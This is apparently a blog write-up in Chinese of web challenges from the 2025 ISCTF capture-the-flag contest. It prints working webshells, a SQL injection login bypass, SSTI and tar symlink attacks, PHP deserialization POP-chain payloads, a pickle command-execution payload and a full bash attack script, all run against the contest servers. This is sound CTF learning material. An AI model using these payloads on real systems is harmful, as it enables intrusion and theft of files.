2025ISCTF

kine 发布于 12 天前 34 次阅读


web

b@by n0t1ce b0ard

打开页面是一个网页,可以注册登录,还可以上传文件,我们直接看源代码,给的很完整,有完整的文件上传,邓登录的源码,找到关键的源码

<?php 
$user= $_SESSION['user'];
extract($_POST);
if(isset($update))
{
$img=$_FILES['f']['name'];
echo $img; 

$query="update user set image='$img' where email='".$_SESSION['user']."'";
mysqli_query($conn,$query);

move_uploaded_file($_FILES['f']['tmp_name'],"../images/$user/".$_FILES['f']['name']);

$err="<font color='blue'>Profie Pic updated successfully !!</font>";

}
...
					<td>Choose Your pic</td>
					<Td><input class="form-control"  type="file" name="f"/></td>
				</tr>
				
				<tr>
					
					
<Td colspan="2" align="center">
<input type="submit" class="btn btn-default" value="Update My Profile Pic" name="update"/>
				
					</td>
				</tr>
			</table>
		</form>

危险函数:

move_uploaded_file($_FILES['f']['tmp_name'],"../images/$user/".$_FILES['f']['name']);

可以上传文件,而且没有任何过滤,我们可以直接上传webshell拿到权限

$query="update user set image='$img' where email='".$_SESSION['user']."'";

$img 未经过转义,被直接插入 SQL 语句 → 存在二次 SQL 注入风险

存在漏洞的地方很多,源码已经直接给了上传的路径,和文件存储的路径,我们可以直接利用webshell

# 创建WebShell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# 上传
curl -X POST "http://challenge.bluesharkinfo.com:27565/user/update_profile_pic.php" \
  -b cookies.txt \
  -F "f=@shell.php" \
  -F "update=Update My Profile Pic" \
  -v

列出目录

curl "http://challenge.bluesharkinfo.com:27565/images/shell.php?cmd=ls%20-la"

没找到flag文件,很可能是在跟目录下,我们再次ls

curl "http://challenge.bluesharkinfo.com:27565/images/shell.php?cmd=ls%20-la%20/"

找到flag文件直接cat

curl "http://challenge.bluesharkinfo.com:27565/images/shell.php?cmd=cat%20/flag"

来签个到吧

题目直接给了后端源代码,分析知道是一个反序列化漏洞的题目,

什么是序列化与反序列化?

序列化 (Serialize):将对象的状态信息转换为可以存储或传输的形式(字符串)

php

$obj = new User("admin", "123456");
$serialized = serialize($obj);
// 结果类似:O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}

反序列化 (Unserialize):将序列化的字符串恢复为对象

php

$data = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}';
$obj = unserialize($data); // 重新创建User对象

为什么需要序列化?

  • 对象持久化存储
  • 网络传输对象
  • Session存储
  • 缓存机制

PHP序列化格式解析

O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}
└┬┘ └┬┘ └┬┘ └────────────────────────────────────┘
 │   │   │                      │
类型 类名 属性数量                属性键值对
(O=对象)                        (字符串类型:s:长度:"值")

反序列化漏洞原理

1. 魔法方法 (Magic Methods)

PHP对象有一些特殊的"魔法方法",在特定时机自动调用:

方法调用时机常见危险操作
__construct()对象创建时初始化敏感操作
__destruct()对象销毁时文件删除/写入
__wakeup()反序列化时重置对象状态
__toString()对象被当作字符串时XSS、文件包含
__call()调用不存在方法时任意函数执行
__get()/__set()访问不存在属性时信息泄露
2. 漏洞触发条件
  • 输入可控:用户可以控制反序列化的数据
  • 存在危险类:类中有危险的魔法方法
  • 自动触发:反序列化后会自动调用某些方法
3. POP链构造

Property-Oriented Programming(面向属性编程),通过组合多个类的魔法方法形成攻击链:

用户输入 → 反序列化 → 触发A::__destruct() → 调用B::method() → 调用C::__toString() → 执行危险操作

反序列化有很多种,且很复杂。在题目中很多变化,只能这里简单介绍一下,可以学习相关文章

https://blog.csdn.net/hj06112/article/details/151659961
https://blog.csdn.net/qq_38140936/article/details/140269301

我们审计源代码,找到入口点

$s = $_POST["shark"] ?? '喵喵喵?';
if (str_starts_with($s, "blueshark:")) {
    $ss = substr($s, strlen("blueshark:"));
    $o = @unserialize($ss);  // ⚠️ 用户可控的反序列化!
    $p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
    $p->execute([$ss]);  // 存储到数据库
}

触发点

$cfg = unserialize($row["content"]);  // ⚠️ 再次反序列化
if ($cfg instanceof ShitMountant) {
    $r = $cfg->fetch();  // ⚠️ 触发fetch()方法
    echo nl2br(htmlspecialchars($r));
}

找到危险类

class ShitMountant {
    public $url;
    public $logger;
    
    public function fetch() {
        $c = file_get_contents($this->url);  // ⚠️ 任意文件读取!
        return $c;
    }
    
    public function __destruct() {
        $this->fetch();  // ⚠️ 对象销毁时自动调用
    }
}

class FileLogger {
    public $logfile;
    public $content;
    
    public function __destruct() {
        if ($this->content) {
            file_put_contents($this->logfile, $this->content, FILE_APPEND); // ⚠️ 任意文件写入!
        }
    }
}

整体逻辑就是

用户提交序列化数据 → 存入数据库 → api.php读取并反序列化 →
→ 创建ShitMountant对象 → 调用fetch()方法 → file_get_contents($url) →
→ 读取任意文件内容 → 返回给用户

这题找到可用的类ShitMountant::fetch()读取文件

$obj = new ShitMountant();
$obj->url = "file:///flag";  // 目标文件
$obj->logger = null;

使用FileLogger::__destruct()写入Webshell

$logger = new FileLogger();
$logger->logfile = "/var/www/html/shell.php";
$logger->content = "<?php system(\$_GET['cmd']); ?>";

$obj = new ShitMountant();
$obj->url = null;
$obj->logger = $logger;

最终exp

# 保存脚本
cat > attack.sh << 'EOF'
#!/bin/bash

URL="http://challenge.bluesharkinfo.com:27296"

echo "=== 攻击开始 ==="

# 1. 提交三个不同的payload
echo -e "\n[1/3] 提交读取flag的payload..."
PAYLOAD1='O:12:"ShitMountant":2:{s:3:"url";s:12:"file:///flag";s:6:"logger";N;}'
RESP1=$(curl -s -X POST "$URL/index.php" --data-urlencode "shark=blueshark:$PAYLOAD1")
echo "响应: $(echo "$RESP1" | head -1)"

echo -e "\n[2/3] 提交base64编码读取flag的payload..."
PAYLOAD2='O:12:"ShitMountant":2:{s:3:"url";s:55:"php://filter/read=convert.base64-encode/resource=/flag";s:6:"logger";N;}'
RESP2=$(curl -s -X POST "$URL/index.php" --data-urlencode "shark=blueshark:$PAYLOAD2")
echo "响应: $(echo "$RESP2" | head -1)"

echo -e "\n[3/3] 提交读取/etc/passwd的payload..."
PAYLOAD3='O:12:"ShitMountant":2:{s:3:"url";s:11:"file:///etc/passwd";s:6:"logger";N;}'
RESP3=$(curl -s -X POST "$URL/index.php" --data-urlencode "shark=blueshark:$PAYLOAD3")
echo "响应: $(echo "$RESP3" | head -1)"

# 等待服务器处理
echo -e "\n等待2秒让服务器处理..."
sleep 2

# 2. 爆破ID查找flag
echo -e "\n=== 爆破ID查找flag (1-50) ==="
FOUND=false
for i in {1..50}; do
    echo -n "ID $i: "
    RESP=$(curl -s "$URL/api.php?id=$i")
    
    # 检查是否有有效响应
    if [[ ! -z "$RESP" && "$RESP" != "喵喵喵?" ]]; then
        echo "有数据!"
        
        # 检查是否包含flag
        if echo "$RESP" | grep -q "ISCTF{"; then
            echo "🎉 找到flag!"
            echo "$RESP" | grep -o "ISCTF{.*}"
            FOUND=true
            break
        fi
        
        # 检查是否是base64
        FIRST_LINE=$(echo "$RESP" | head -1 | tr -d '\n\r ')
        if echo "$FIRST_LINE" | grep -q -E '^[A-Za-z0-9+/]+=*$'; then
            echo "发现base64数据,尝试解码..."
            echo "$FIRST_LINE" | base64 -d 2>/dev/null | head -5
        fi
        
        # 显示前300个字符
        echo "内容预览: ${RESP:0:300}"
        echo "---"
    else
        echo "无数据"
    fi
done

if [ "$FOUND" = false ]; then
    echo -e "\n=== 查看最近笔记 ==="
    PAGE=$(curl -s "$URL/")
    
    # 提取所有笔记
    echo "$PAGE" | sed -n '/<div class="recent">/,/<\/div>/p' | grep -A5 "note"
    
    # 提取所有ID
    echo -e "\n=== 找到的ID列表 ==="
    echo "$PAGE" | grep -o '#[0-9]\+' | tr -d '#' | sort -rn
fi

echo -e "\n=== 攻击完成 ==="
EOF

# 给执行权限并运行
chmod +x attack.sh
./attack.sh

flag到底在哪

小蓝鲨部署了一个网页项目,但是怎么403啊,好像什么爬虫什么的

这个题就是一个嵌套的题,没有任何绕过,根据提示一步一步来,题目提示了爬虫,很明显是爬虫协议,直接在url后加上robots.txt访问得到网页下的文件

访问是一个登录界面

提示了用户名是admin,密码直接永真测试一下

用户名: admin
密码: ' OR '1'='1

登录成功又来到了一个文件上传的界面,只运行上传php文件,直接上传webshell,我们终端操作,重新登录拿到seesion,进行文件上传

SESSION="e5e65a0d76e0a9294fceac137633510a"

# 创建并上传webshell
echo '<?php if(isset($_GET["c"])) { system($_GET["c"]); } else { echo "Ready"; } ?>' > test.php

curl -s -X POST \
  -b "PHPSESSID=$SESSION" \
  -F "shell=@test.php" \
  http://challenge.bluesharkinfo.com:28351/upload.php | head -300

上传成功直接进行系统命令

目录没有直接列根目录,发现了一个sh启动文件,直接查看

#!/bin/sh

if [ "$DASFLAG" ]; then
    INSERT_FLAG="$DASFLAG"
elif [ "$FLAG" ]; then
    INSERT_FLAG="$FLAG"
elif [ "$GZCTF_FLAG" ]; then
    INSERT_FLAG="$GZCTF_FLAG"
else
    INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi

# 将FLAG写入文件
echo $INSERT_FLAG > /home/flag
chown www-data:www-data /home/flag

# 启动 apache
exec apache2-foreground

flag被写入到了 /home/flag 文件,我们直接获取

curl -b "PHPSESSID=e5e65a0d76e0a9294fceac137633510a" \
  "http://challenge.bluesharkinfo.com:28351/shell.php?cmd=cat+/home/flag"

难过的bottle

是一个zip上传功能的web,题目给了源码查看一手

UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024  # 1MB

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

def contains_blacklist(content):
    """检查内容是否包含黑名单中的关键词(不区分大小写)"""
    content = content.lower()
    return any(black_word in content for black_word in BLACKLIST)

def safe_extract_zip(zip_path, extract_dir):
    """安全解压ZIP文件(防止路径遍历攻击)"""
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.infolist():
            member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
            if not member_path.startswith(os.path.realpath(extract_dir)):
                raise ValueError("非法文件路径: 路径遍历攻击检测")

这里进行了过滤了,直接过滤了很多字母,py内置函数直接用不了,后面能看到有ssti漏洞

@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
    file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
    
    # ... 路径检查 ...
    
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except:
        try:
            with open(file_path, 'r', encoding='latin-1') as f:
                content = f.read()
        except:
            return "无法读取文件内容(可能是二进制文件)"
    
    # 黑名单检查
    if contains_blacklist(content):
        return "文件内容包含不允许的关键词"
    
    # 关键漏洞:直接将文件内容作为模板渲染!
    try:
        return template(content)  # <-- SSTI注入点
    except Exception as e:
        return f"渲染错误: {str(e)}"

开始直接尝试绕过,但是直接过滤了字母,绕了很久都没绕过去,后面尝试了角标这种没有被过滤了的字符,但是py无法识别,后面依旧尝试了很久还想用其他文件包含的方法做,都是没什么用的发现,这个题就是纯过滤,最后试到数学粗体能够绕过,使用这个构建方法,读取文件

# 创建数学粗体payload
python3 -c "
import zipfile
payload = '''={{𝗼𝗽𝗲𝗻(\"/flag\").𝗿𝗲𝗮𝗱()}}'''
with zipfile.ZipFile('math_bold_flag.zip', 'w') as zf:
    zf.writestr('flag.j2', payload)
print('创建math_bold_flag.zip')
"

echo -e "\n3. 上传数学粗体payload:"
response=$(curl -s -X POST -F "file=@math_bold_flag.zip" http://challenge.bluesharkinfo.com:20992/upload)

if [ -n "$response" ]; then
    echo "响应长度: ${#response} 字符"
    echo -e "\n响应片段:"
    echo "$response" | head -200
    
    hash=$(echo "$response" | grep -o '/view/[a-f0-9]*/' | head -1 | cut -d'/' -f3 2>/dev/null)
    if [ -n "$hash" ]; then
        echo -e "\nHash: $hash"
        echo "访问flag.j2:"
        result=$(curl -s "http://challenge.bluesharkinfo.com:20992/view/$hash/flag.j2")
        echo "结果:$result"
        
        if echo "$result" | grep -q "flag{"; then
            echo -e "\n✅✅✅ 成功获取FLAG! ✅✅✅"
            echo "$result"
        fi
    fi
else
    echo "空响应,尝试详细模式:"
    curl -v -s -X POST -F "file=@math_bold_flag.zip" http://challenge.bluesharkinfo.com:20992/upload 2>&1 | tail -30
fi

# 清理
rm -f math_bold_flag.zip
  • 例如:𝗼 (U+1D43C) 数学粗体小写o
  • 这些字符的.lower()仍然是数学粗体字符,不在ASCII黑名单中
  • 但Python解释器在解析时会将其识别为对应的ASCII字母

其他符号能绕过,但是py不会识别,这可能就是预期解了

flag?我就借走了

打开网页是一个文件上传的web

很明显,把能够上传的文件格式都说明了,还提示打包格式用tar,其实很容易就知道漏洞是什么了,不过开头还说了用py加flask写的网站,我们可以看一下有ssti漏洞没有

# 创建可能触发SSTI的文件
cat > ssti.html << 'EOF'
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('ls').read() }}
{% endif %}
{% endfor %}
EOF

tar -cvf ssti.tar ssti.html

echo "上传SSTI测试..."
curl -s -X POST -F "file=@ssti.tar" http://challenge.bluesharkinfo.com:29309/

echo -e "\n访问SSTI文件..."
curl -s "http://challenge.bluesharkinfo.com:29309/download/ssti.html"

rm ssti.html ssti.tar

返回是正常的,没有模板注入,很明显肯定是路径遍历的漏洞,我们直接遍历路径看一下

# 创建包含路径遍历的tar包
echo '<?php system($_GET["cmd"]); ?>' > shell.php
tar -cvf exploit.tar --transform 's,shell.php,../../../../var/www/html/shell.php,' shell.php

# 上传
curl -s -X POST -F "file=@exploit.tar" http://challenge.bluesharkinfo.com:29309/

# 测试访问
curl -s "http://challenge.bluesharkinfo.com:29309/shell.php?cmd=ls"

上传成功,同时tar包被解题,但是至少webshell命令出现404,明显路径遍历的方法被检测到,系统阻止了,我们根据经验还可以使用符号链接攻击

# 清理
curl -s http://challenge.bluesharkinfo.com:29309/clean

# 创建符号链接到敏感文件
ln -s /etc/passwd passwd_link
tar -cvf symlink.tar passwd_link

# 上传
curl -s -X POST -F "file=@symlink.tar" http://challenge.bluesharkinfo.com:29309/

# 尝试访问符号链接
curl -s "http://challenge.bluesharkinfo.com:29309/download/passwd_link"

成功访问到了系统文件,我们下一步直接读取flag

# 创建指向flag文件的符号链接
ln -s /flag flag_link
tar -cvf flag.tar flag_link

# 上传
curl -s -X POST -F "file=@flag.tar" http://challenge.bluesharkinfo.com:29309/

# 读取flag
curl -s "http://challenge.bluesharkinfo.com:29309/download/flag_link"

Bypass

打开题目,直接给了源代码,分析

class FLAG
{
    private $a;
    protected $b;
    
    public function __construct($a, $b) {
        $this->a = $a;
        $this->b = $b;
        $this->check($a,$b);
        eval($a.$b);  // 关键点1:构造时执行
    }
    
    public function __destruct() {
        $a = (string)$this->a;
        $b = (string)$this->b;
        if ($this->check($a,$b)) {
            $a("", $b);  // 关键点2:销毁时执行
        } else {
            echo "Try again!";
        }
    }
    
    private function check($a, $b) {
        // 双黑名单过滤
        $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
        $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
        
        // 正则匹配黑名单
        $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
        $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
        
        if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
            return false;
        }
        return true;
    }
}

明显是一个反序列化题目,程序构造了两个危险对象,然后拼接执行eval命令,但是分别过滤了两个对象,很多命令不能用,但他把我们对象转换为字符串,给了能够绕过的空间,在 PHP 的字符串(双引号包裹)中,我们可以用反斜杠加数字来表示字符的 ASCII 码,最后,我们使用八进制转换来绕过

curl 'http://challenge.bluesharkinfo.com:24246?exp=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A71%3A%22%7D%3B%20%24A%3D%22%5C162%5C145%5C141%5C144%5C146%5C151%5C154%5C145%22%3B%20%24A%28%22%5C57%5C146%5C154%5C141%5C147%22%29%3B%20//%22%3B%7D'

unserialize 后触发析构函数,create_function 会解析并执行其中的 readfile("/flag")

create_function 是PHP中创建匿名函数(闭包)的方法:

// 语法:create_function($args, $code)
// $args: 参数列表字符串,如 "$x, $y"
// $code: 函数体代码字符串

$func = create_function('$x, $y', 'return $x + $y;');
echo $func(1, 2);  // 输出 3

这个题中我们执行

$a = "create_function";
$b = "}, readfile(\"/flag\");//";

实际执行的是:

create_function("", "}, readfile(\"/flag\");//");

这会创建一个匿名函数,函数体代码是:}, readfile("/flag");//

create_function 会把代码包装成一个完整的函数:

// create_function 内部大致实现:
function create_function($args, $code) {
    $func_name = "__lambda_func";
    $full_code = "function $func_name($args) { $code }";
    eval($full_code);  // 执行eval!
    return $func_name;
}

所以我们的代码实际变成:

function __lambda_func() { }, readfile("/flag");// }

ezpop

审计代码

<?php
error_reporting(0);  // 关闭所有错误报告,避免干扰输出

// ==================== 类定义开始 ====================

class begin {
    public $var1;  // 属性1,可以是任意值
    public $var2;  // 属性2,可以是任意值

    // 构造函数,创建对象时调用
    function __construct($a) {
        $this->var1 = $a;  // 将传入的参数赋值给var1
    }
    
    // 析构函数,对象销毁时自动调用(PHP脚本结束时)
    function __destruct() {
        echo $this->var1;  
        // 关键:输出var1的值
        // 如果var1是一个对象,会触发该对象的__toString()方法
        // 这是POP链的起点
    }

    // __toString()魔术方法,当对象被当作字符串使用时调用
    public function __toString() {
        $newFunc = $this->var2;  // 获取var2的值
        return $newFunc();  
        // 关键:把var2当作函数来调用
        // 如果var2是一个对象,会触发该对象的__invoke()方法
        // 这是POP链的第二环
    }
}

class starlord {
    public $var4;  // 属性4
    public $var5;  // 属性5  
    public $arg1;  // 属性arg1(名称有误导性,实际未使用)

    // __call()魔术方法,当调用对象不存在的方法时触发
    public function __call($arg1, $arg2) {
        // $arg1: 试图调用的方法名
        // $arg2: 调用时传递的参数数组
        $function = $this->var4;  // 获取var4的值
        return $function();  
        // 关键:把var4当作函数调用
        // 如果var4是对象,触发__invoke()
    }

    // __get()魔术方法,当访问对象不存在的属性时触发
    public function __get($arg1) {
        // $arg1: 试图访问的属性名
        $this->var5->ll2('b2');  
        // 关键:调用var5对象的ll2()方法
        // 如果var5对象没有ll2()方法,会触发该对象的__call()方法
    }
}

class anna {
    public $var6;  // 属性6
    public $var7;  // 属性7

    // __toString()魔术方法
    public function __toString() {
        $long = @$this->var6->add();  
        // 关键:调用var6对象的add()方法(@抑制错误)
        // 如果var6对象没有add()方法,会触发该对象的__call()方法
        return $long;  // 返回调用结果
    }

    // __set()魔术方法,当给对象不存在的属性赋值时触发
    public function __set($arg1, $arg2) {
        // $arg1: 属性名
        // $arg2: 属性值
        if ($this->var7->tt2) {  // 访问var7对象的tt2属性
            // 如果var7对象没有tt2属性,会触发该对象的__get()方法
            echo "yamada yamada";  // 输出字符串
        }
    }
}

class eenndd {
    public $command;  // 命令属性,存储要执行的代码

    // __get()魔术方法,当访问对象不存在的属性时触发
    public function __get($arg1) {
        // $arg1: 试图访问的属性名
        // 正则过滤:检查command中是否包含危险关键词
        if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
            echo "nonono";  // 如果匹配到危险关键词,输出错误
        }else {
            eval($this->command);  
            // 关键:执行command中的PHP代码
            // 这是POP链的最终目标,可以执行任意命令
        }
    }
}

class flaag {
    public $var10;  // 属性10,将用于触发__get()
    public $var11 = "1145141919810";  // 属性11,默认值

    // __invoke()魔术方法,当对象被当作函数调用时触发
    public function __invoke() {
        // 条件检查:双重MD5哈希值与666进行弱类型比较
        if (md5(md5($this->var11)) == 666) {
            // 关键:访问var10对象的hey属性
            // 如果var10对象没有hey属性,会触发该对象的__get()方法
            return $this->var10->hey;
        }
        // 如果条件不满足,返回null,POP链中断
    }
}

// ==================== 主程序逻辑 ====================

// 检查是否通过POST提交了ISCTF参数
if (isset($_POST['ISCTF'])) {
    // 关键漏洞点:直接反序列化用户输入
    unserialize($_POST["ISCTF"]);
    // 反序列化会创建对象
    // 脚本结束时,这些对象的__destruct()方法会被自动调用
    // 这就是POP链的起点
}else {)
    highlight_file(__FILE__);
}
?>

可以看见最后我们能直接控制对象,程序会反序列化我们的对象,

构建两个begin对象

  • 外层begin的__destruct()调用echo $this->var1
  • 如果$this->var1是begin对象,会触发该对象的__toString()
  • 内层begin的__toString()调用$this->var2(),这里的$this->var2是flaag对象

后面存在弱比较漏洞,

我们需要让md5(md5("213"))的字符串在弱类型比较中等于666。

md5("213") = "187ef4436122d1cc2f40dc2b92f0eba0"
md5("187ef4436122d1cc2f40dc2b92f0eba0") = "66668778e6a57c9d7b6a5a4a3a2a1a0a9"

"66668778e6a57c9d7b6a5a4a3a2a1a0a9" == 666 为true,因为:

  • PHP弱类型比较中,字符串与数字比较时,字符串会被转换为数字
  • 转换规则:取字符串开头合法的数字部分
  • "66668778..."开头的"666"会被转换为数字666

eenndd::__get()中有正则过滤:

preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)

使用eval(base64_decode(...))可以绕过这个过滤:

  • base64_decode('cmVhZGZpbGUoJy9mbGFnJyk7') = readfile('/flag');
  • 字符串中没有被过滤的关键词
  • base64字符串不包含空格

总体payload

O:5:"begin":2:{
  s:4:"var1";O:5:"begin":2:{  // 第一个begin对象作为var1
    s:4:"var1";N;              // null,不重要
    s:4:"var2";O:5:"flaag":2:{  // flaag对象作为var2
      s:5:"var10";O:6:"eenndd":1:{  // eenndd对象作为var10
        s:7:"command";s:48:"eval(base64_decode('cmVhZGZpbGUoJy9mbGFnJyk7'));";
      };
      s:5:"var11";s:3:"213";  // 关键:这个值能让md5(md5("213"))以"666"开头
    };
  };
  s:4:"var2";N;  // null,不重要
}

最后转换为url传参,我们直接读取根目录下的/flag

ISCTF=O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BN%3Bs%3A4%3A%22var2%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A48%3A%22eval%28base64_decode%28%27cmVhZGZpbGUoJy9mbGFnJyk7%27%29%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%22213%22%3B%7D%7Ds%3A4%3A%22var2%22%3BN%3B%7D

双生序列

题目给了后端完整的文件,依次分析其逻辑,index.php能看到注入点,

  • 可以 POST 一段以 "blueshark:" 开头的数据
  • 会把该字符串写入 notes (SQLite)
  • GET index.php?id=xx 后,会从数据库取出 content,然后执行:
$o = unserialize($row["content"], ["allowed_classes" => ["Writer", "Shark", "Bridge"]]);
$r = $o->fetch();

这是第一次反序列化。在api中有第二个反序列化

run文件

$data = file_get_contents("/tmp/ssxl/run.bin");
$exec = unserialize($data, ["allowed_classes"=>["Pytools"]]);
$ret = $exec->blueshark();

这里是关键:

  • run.bin 由我们通过 Shark 写入
  • 内容必须是一个 Pytools 对象序列化
  • 调用 $exec->blueshark() → 触发 Pytools::__call()

Pytools::run() 会执行 python3 pytools.py

$cmd = "python3 /var/www/html/pytools.py";
$out = shell_exec($cmd);

run.php中

网页按钮执行:

/run.php?action=run

内部逻辑和 api.php 差不多,会再次执行 Pytools → Python → Pickle。

主要逻辑在pytool中,可以先分析class.php,

Writer:负责写 write.bin & write.meta

@file_put_contents("/tmp/ssxl/write.bin", base64_decode($this->b64data));
  • b64data 来自我们构造的序列化数据
  • __wakeup() 会自动执行 init()
  • fetch() → write_all() → 写 bin & meta

meta 的 HMAC 是:

sig = hash_hmac("sha256", $raw, $this->secret);

👉 secret = "kaqikaqi"(固定值)
但!Python 用的是 outer Set.secret!因此:

PHP 写的 meta 并不会影响 Python,Python 会覆盖 meta

我们只需要让 Python 写的 meta 是合法的即可。

Shark:负责写 run.bin(用于触发 Pytools)

file_put_contents("/tmp/ssxl/run.bin", $this->ser);

触发条件是在 Bridge::fetch:

  • 访问 $bridge->write
  • __get 会返回 Shark 对象
  • Shark 被 echo → __toString() → apply() → 写 run.bin

所以必须序列化 Shark,使其 ser=serialize(Pytools())

Bridge:连接 Writer 与 Shark 的触发器

public function fetch() {
    $next = $this->write;   # 触发 writer->fetch()
    return $next;           # 返回 Shark
}

这是链条的核心:

  • $this->write → __get → writer->fetch → 写 write.bin
  • fetch() 返回 Shark → 在 index.php 中 echo → __toString() → 写 run.bin

Pytools:用于调用 Python

在 api.php:

$exec = unserialize(run.bin)
$ret = $exec->blueshark();

Pytools::__call():

return $this->run();

而 run() 内部:

shell_exec("python3 /var/www/html/pytools.py")

这一步执行 Python,进入第二层 pickle → 最终 RCE。

大招流程就是

read write.bin → 外层 pickle → Set(secret, payload)
                 ↓
设置 SECRET 为我们指定的 secret(成功绕过 HMAC)
                 ↓
验证 write.meta 中的 sig(我们计算的,必然成功)
                 ↓
inner pickle(payload)→ 恶意对象执行系统命令
                 ↓
/tmp/ssxl/outs.txt 输出 flag

现在可以构建完整pop链,你发送:

s=blueshark: {URL encoded serialized Bridge}
  • index.php 将它写入数据库
  • GET index.php?id=xxx 时反序列化
  • Bridge::fetch() 被调用

🔗 触发链:

Bridge->fetch()
    ↓
Writer->fetch()
    ↓
write.bin + write.meta 写入成功
    ↓
返回 Shark
    ↓
Shark->__toString()
    ↓
run.bin 写入成功(含 Pytools 对象)

第二步:GET /api.php?id=X

api.php:

read run.bin → unserialize Pytools → blueshark() → run()

→ Python 执行 pytools.py

第三步:GET /run.php?action=run

再次执行 Python → inner pickle RCE → 读取 flag → outs.txt → 回显 flag

index.php能看到是s变量post传参,我们直接传入

s=blueshark%3AO%3A6%3A%22Bridge%22%3A2%3A%7Bs%3A6%3A%22writer%22%3BO%3A6%3A%22Writer%22%3A2%3A%7Bs%3A7%3A%22b64data%22%3Bs%3A268%3A%22gASVvAAAAAAAAACMCF9fbWFpbl9flIwDU2V0lJOUKYGUfZQojAZzZWNyZXSUQwhrYXFpa2FxaZSMB3BheWxvYWSUQ3%2BABJV0AAAAAAAAAIwFcG9zaXiUjAZzeXN0ZW2Uk5SMWShscyAtRiAvOyBlY2hvICctLS0nOyBjYXQgL2ZsYWc7IGNhdCAvZmxhZy50eHQ7IGNhdCAvcm9vdC9mbGFnKSA%2BIC90bXAvc3N4bC9vdXRzLnR4dCAyPiYxlIWUUpQulHViLg%3D%3D%22%3Bs%3A4%3A%22init%22%3Bs%3A4%3A%22init%22%3B%7Ds%3A5%3A%22shark%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A3%3A%22ser%22%3Bs%3A18%3A%22O%3A7%3A%22Pytools%22%3A0%3A%7B%7D%22%3B%7D%7D

这是回回显保存成功,回到初页面查看你的id,再进行访问,访问后虽然会回显喵喵喵?此时后台已经生成了 /tmp/ssxl/write.bin, write.meta, run.bin,并且 write.bin 中包含执行 ls -F /; cat /flag 的指令

最后再访问run接口触发执行

load java

打开页面是文件上传的web,先看源码发现前端调用了两个 API:

  • /api/upload (文件上传)
  • /api/FileList (列出文件)
  • /api/FileRead?filename= (读取文件)

尝试利用 /api/FileRead 读取 /etc/passwd

curl -s "http://target/api/FileRead?filename=../../../../../etc/passwd"

结果:成功读取到内容(Base64编码),解码后确认存在 LFI 漏洞。内容都会转成base64,读出来编码回来

我们用fuff扫一下有后台文件没有

ffuf -u http://challenge.bluesharkinfo.com:23096/FUZZ \
  -w /usr/share/wordlists/dirb/common.txt \
  -c -t 50

发现目录/admin,我们访问

目标是一个 Spring Boot 应用。运行方式是 Jar 包启动,位置在 /app/ezJava.jar

接着我们直接先读取一下试一下waf,题目提示了 flag 在 /flag/flag.flag

  • 读取 /app/ezJava.jar -> 返回 {"msg":"读取flag功能尚未开发"}
  • 读取 /flag/flag/flag.flag -> 返回 {"msg":"读取flag功能尚未开发"}

分析:后端存在关键字黑名单,拦截了包含 jarflag 的请求。

先读取其他文件分析一下

读取 /proc/self/cmdline/proc/self/environ,确认了应用运行在 /app 目录下,且用户为 root
通过 start.sh (如果有) 或常见的备份文件名猜测,定位到源码包位置。

我还读了一下环境变量结果被嘲讽了

sh文件内容

#!/bin/bash
set -e

# ... (省略环境变量处理) ...
else
    INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi

mkdir -p /flag
echo "$INSERT_FLAG" > /flag/flag.flag
chmod 744 /flag/flag.flag

exec java \
  -Dspring.autoconfigure.exclude=... \
  -jar /app/ezJava.jar

验证了flag的位置,然后我们因为黑名单拦截的是 ezJava.jarezjava_src.zip 这种文件名。但是 FileRead 接口读取 /proc/self/fd/3 这样的路径时,文件名里只有数字,完全没有敏感词
而这些数字(文件描述符)正指向着被 Java 进程打开的文件,其中一定包含正在运行的 ezJava.jar,很有可能也包含那个被生成的 ezjava_src.zip(如果它被打开过)。我们就可以盲抽fd,得到具体文件,这是脚本运行

└─$ # 基础路径
BASE="../../../../../app/"
# 可能的前缀
PREFIXES=("ezJava" "ezjava" "EzJava" "EZJAVA" "source" "src" "project" "backup")
# 可能的后缀
